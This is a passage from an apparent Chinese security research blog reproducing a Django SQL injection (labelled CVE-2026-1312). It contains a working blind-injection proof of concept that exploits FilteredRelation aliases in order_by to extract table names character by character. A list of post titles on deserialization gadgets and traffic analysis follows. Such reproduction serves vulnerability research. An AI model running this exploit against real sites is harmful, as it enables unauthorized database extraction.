        print("[!] 注入成功 - JOIN 消失了，ORDER BY 直接用了原始的 表名.列名")
    except Exception as e:
        print(f"    异常: {type(e).__name__}: {e}")

利用流程

FilteredRelation('author') + order_by('aaa')
 → Django 需要解析 aaa 指向哪张表
 → 别名字符串以原始形式进入 _order_by_pairs()
 → 碰到 if "." in field → 走 RawSQL 拼接
 → 注入成功

盲注成功：

def poc_extract_schema():
    from django.db import connection
    print("\n[*] 盲注提取 sqlite_master 第一个表名")
    with connection.cursor() as cur:
        cur.execute("SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1")
        real_name = cur.fetchone()[0]
    print(f"    真实值（参照）: {real_name}")
    extracted = ""
    for pos in range(1, len(real_name) + 2):
        # 二分猜这一位的 ASCII
        lo, hi = 32, 127
        while lo < hi:
            mid = (lo + hi) // 2
            # 问：第 pos 位 ASCII > mid ?
            alias = (
                f"vuln_app_books.id*"
                f"(1-2*(SELECT(UNICODE(SUBSTR(tbl_name,{pos},1))>{mid})"
                f"FROM(sqlite_master)WHERE(type=char(116,97,98,108,101))LIMIT(1)))"
            )
            try:
                qs = Books.objects.annotate(
                    **{alias: FilteredRelation('author')}
                ).order_by(alias)
                result = list(qs.values_list('title', flat=True))
                normal = ['Book 1', 'Book 2', 'Book 3']
                # 倒序 → ASCII > mid → lo = mid+1
                # 正序 → ASCII <= mid → hi = mid
                if result == list(reversed(normal)):
                    lo = mid + 1
                else:
                    hi = mid
            except Exception:
                break

        if lo <= 32 or lo > 127:
            break
        extracted += chr(lo)
        print(f"    位置 {pos}: ASCII={lo} → '{chr(lo)}'  当前: {extracted}")

    print(f"\n    [!] 提取结果: {extracted}")
    print(f"    [!] 真实值:   {real_name}")
    print(f"    [!] {'匹配！盲注提取成功' if extracted == real_name else '不匹配，检查逻辑'}")

天下同春

C3P0利用

Spring AOP链

aop理论与spring对aop的实践

aop面向切面编程的理念

spring的实践

codeql学习

code安装

语法

基础语法

流量分析与取证

TCP相关

wireshark

webshell流量分析

蚁剑

哥斯拉

2026 ciscn&ccb 浙江赛区半决赛wp

AWDP

MediaDrive

attack

ISO-2022 转义序列结构

fix

easy_time

attack

fix

wso2-lab

ISW

ISW3

ISW1&2

总结

Showing Off Blog Features

Theming

Code Blocks

Basic Markdown Elements

Images

Admonitions

Emoji :star_struck:

LaTeX/KaTeX Math Support

HTML Elements

Fieldset with Inputs

Form with Labels

Tabby心得

Tabby环境配置

neo4j配置

IDEA插件

配置文件

一些坑

总体流程

Cypher & tabby-path-finder

SnakeYAML反序列化总结

原理

一些Gadget以及利用姿势

JdbcRowSetImpl

ScriptEngineManager

Apache XBean

Spring PropertyPathFactoryBean

Apache Commons Configuration

Resource

C3P0 JndiRefForwardingDataSource

C3P0不出网

MarshalOutputStream不出网（fj1.2.68写文件）

h2不出网

h2不出网无回显

ClassPathXmlApplicationContext

出网利用

不出网 方法一

不出网 方法二

bypass技巧

探测与修复

spi

修复

参考

CVE-2026-1312 Django 漏洞复现

环境搭建

漏洞原理

django的联表查询

django sql语句order by优化

让order by字段只出现一次

利用流程

不出网方法一

不出网方法二